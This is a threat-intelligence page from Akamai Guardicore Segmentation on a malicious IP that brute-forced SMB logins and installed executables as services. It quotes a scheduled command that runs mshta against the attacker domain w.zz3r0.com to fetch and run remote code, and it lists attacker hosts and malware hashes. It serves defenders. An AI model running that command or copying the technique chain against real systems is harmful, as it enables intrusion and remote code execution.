Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 183.196.113.131Malicious

IP Address: 183.196.113.131Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Scheduled Task Run MSSQL Successful SMB Login Download File Service Creation Service Start File Operation By CMD Scheduled Task Creation Service Deletion DNS Query Access Suspicious Domain SMB Execute from Share Service Stop SMB Share Connect CMD SMB Brute Force Access Share

Associated Attack Servers

t.amynx.com w.zz3r0.com

120.29.76.11 162.251.158.231 217.219.35.30

Basic Information

IP Address

183.196.113.131

Domain

-

ISP

China Mobile Guangdong

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2019-08-11

Last seen in Akamai Guardicore Segmentation

2023-09-09

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: FMS - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts (Part of a Brute Force Attempt)

Successful SMB Login SMB Brute Force

C:\FUXJSZCi.exe was downloaded

Download File

c:\windows\system32\services.exe installed and started \\server-backup\c$\fuxjszci.exe as a service named OpRd under service group None

Service Start Service Creation

fuxjszci.exe was executed from the remote share \\server-backup\c$

Execute from Share

rgkeubhj.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\rgkeubhj.exe as a service named bUHb under service group None

Service Start Service Creation

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

Successful SMB Login SMB Brute Force

Service bUHb was stopped

Service Stop

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 4 times

Successful SMB Login SMB Brute Force

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com 2 times

Access Suspicious Domain DNS Query

The command line c:\windows\dTvtiEt.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

wypjuluo.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\wypjuluo.exe as a service named eqBU under service group None

Service Start Service Creation

C:\WINDOWS\Temp\tmp.vbs was downloaded

Download File

Service eqBU was stopped

Service Stop

Connection was closed due to timeout

Associated Files

C:\WINDOWS\Temp\svchost.exe

SHA256: 013ec11716122bf749c7fdcd0dcf904e2dfe72b3c50f5cb4e66105493d15620b

195000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 07363e9a6247547f9c9ede89d852c4cda21602a325230b20c9f2ba9cad04de98

260000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 08afa43b7998712e4080e073209bb5129c4672c60f40d36809ed92a6db35c2b0

130000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 09491955bdb7a73c938338551b2c290a159180fc4c99db7d99c7b498f3284bc4

455000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 10ae47a74d244d005459865ca6874200c16070099473c0ea40aec843e9dc7951

65000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 16b291f1918e1e1673c3d7c797cfba38a8d9d575d16c1f77caa4ea1494fff70f

715000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 19ec15916d504dd9c9a4c2f05dfc0d6bd3d2e72ef8e8234a9deb601598fa15c3

130000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 1a3387b29984ea63f512f2824d0db8477c8d2c2def0aa4568a398c05b023f348

195000 bytes

C:\windows\temp\svchost.exe

SHA256: 1af2fc5ee3181c29c956ffcd4fc7f7256fc9bc22dae5cbcb9feabce9a9f75421

325000 bytes

C:\aQdrtbXv.exe

SHA256: 1cf7951b5b699a64ce65e77f45d1cd1df6207e8239c4f91feeb91db7c5e526b2

56320 bytes